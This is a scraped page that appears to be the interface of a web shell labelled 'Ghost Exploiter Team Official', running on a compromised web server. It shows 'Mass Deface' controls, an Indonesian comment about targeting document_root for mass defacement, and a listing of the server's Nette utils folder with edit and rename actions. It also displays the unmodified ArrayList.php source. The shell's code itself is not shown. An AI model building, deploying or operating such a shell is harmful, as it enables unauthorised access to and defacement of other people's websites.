Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
nette
/
utils
/
src
/
Utils
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
ArrayHash.php
1.894KB
edt
ren
ArrayList.php
2.645KB
edt
ren
Arrays.php
13.781KB
edt
ren
Callback.php
3.64KB
edt
ren
DateTime.php
4.765KB
edt
ren
FileInfo.php
1.3KB
edt
ren
FileSystem.php
9.793KB
edt
ren
Finder.php
13.421KB
edt
ren
Floats.php
2.118KB
edt
ren
Helpers.php
2.98KB
edt
ren
Html.php
19.341KB
edt
ren
Image.php
23.771KB
edt
ren
ImageColor.php
1.654KB
edt
ren
ImageType.php
0.497KB
edt
ren
Iterables.php
6.234KB
edt
ren
Json.php
2.535KB
edt
ren
ObjectHelpers.php
7.074KB
edt
ren
Paginator.php
4.384KB
edt
ren
Random.php
1.246KB
edt
ren
Reflection.php
8.691KB
edt
ren
ReflectionMethod.php
0.84KB
edt
ren
Strings.php
21.582KB
edt
ren
Type.php
7.389KB
edt
ren
Validators.php
10.678KB
edt
ren
exceptions.php
0.742KB
edt
ren
<?php /** * This file is part of the Nette Framework (https://nette.org) * Copyright (c) 2004 David Grudl (https://davidgrudl.com) */ declare(strict_types=1); namespace Nette\Utils; use Nette; use function array_slice, array_splice, count, is_int; /** * Provides the base class for a generic list (items can be accessed by index). * @template T * @implements \IteratorAggregate<int, T> * @implements \ArrayAccess<int, T> */ class ArrayList implements \ArrayAccess, \Countable, \IteratorAggregate { private array $list = []; /** * Transforms array to ArrayList. * @param list<T> $array */ public static function from(array $array): static { if (!Arrays::isList($array)) { throw new Nette\InvalidArgumentException('Array is not valid list.'); } $obj = new static; $obj->list = $array; return $obj; } /** * Returns an iterator over all items. * @return \Iterator<int, T> */ public function &getIterator(): \Iterator { foreach ($this->list as &$item) { yield $item; } } /** * Returns items count. */ public function count(): int { return count($this->list); } /** * Replaces or appends an item. * @param int|null $index * @param T $value * @throws Nette\OutOfRangeException */ public function offsetSet($index, $value): void { if ($index === null) { $this->list[] = $value; } elseif (!is_int($index) || $index < 0 || $index >= count($this->list)) { throw new Nette\OutOfRangeException('Offset invalid or out of range'); } else { $this->list[$index] = $value; } } /** * Returns an item. * @param int $index * @return T * @throws Nette\OutOfRangeException */ public function offsetGet($index): mixed { if (!is_int($index) || $index < 0 || $index >= count($this->list)) { throw new Nette\OutOfRangeException('Offset invalid or out of range'); } return $this->list[$index]; } /** * Determines whether an item exists. * @param int $index */ public function offsetExists($index): bool { return is_int($index) && $index >= 0 && $index < count($this->list); } /** * Removes the element at the specified position in this list. * @param int $index * @throws Nette\OutOfRangeException */ public function offsetUnset($index): void { if (!is_int($index) || $index < 0 || $index >= count($this->list)) { throw new Nette\OutOfRangeException('Offset invalid or out of range'); } array_splice($this->list, $index, 1); } /** * Prepends an item. * @param T $value */ public function prepend(mixed $value): void { $first = array_slice($this->list, 0, 1); $this->offsetSet(0, $value); array_splice($this->list, 1, 0, $first); } }
<=Back
Liking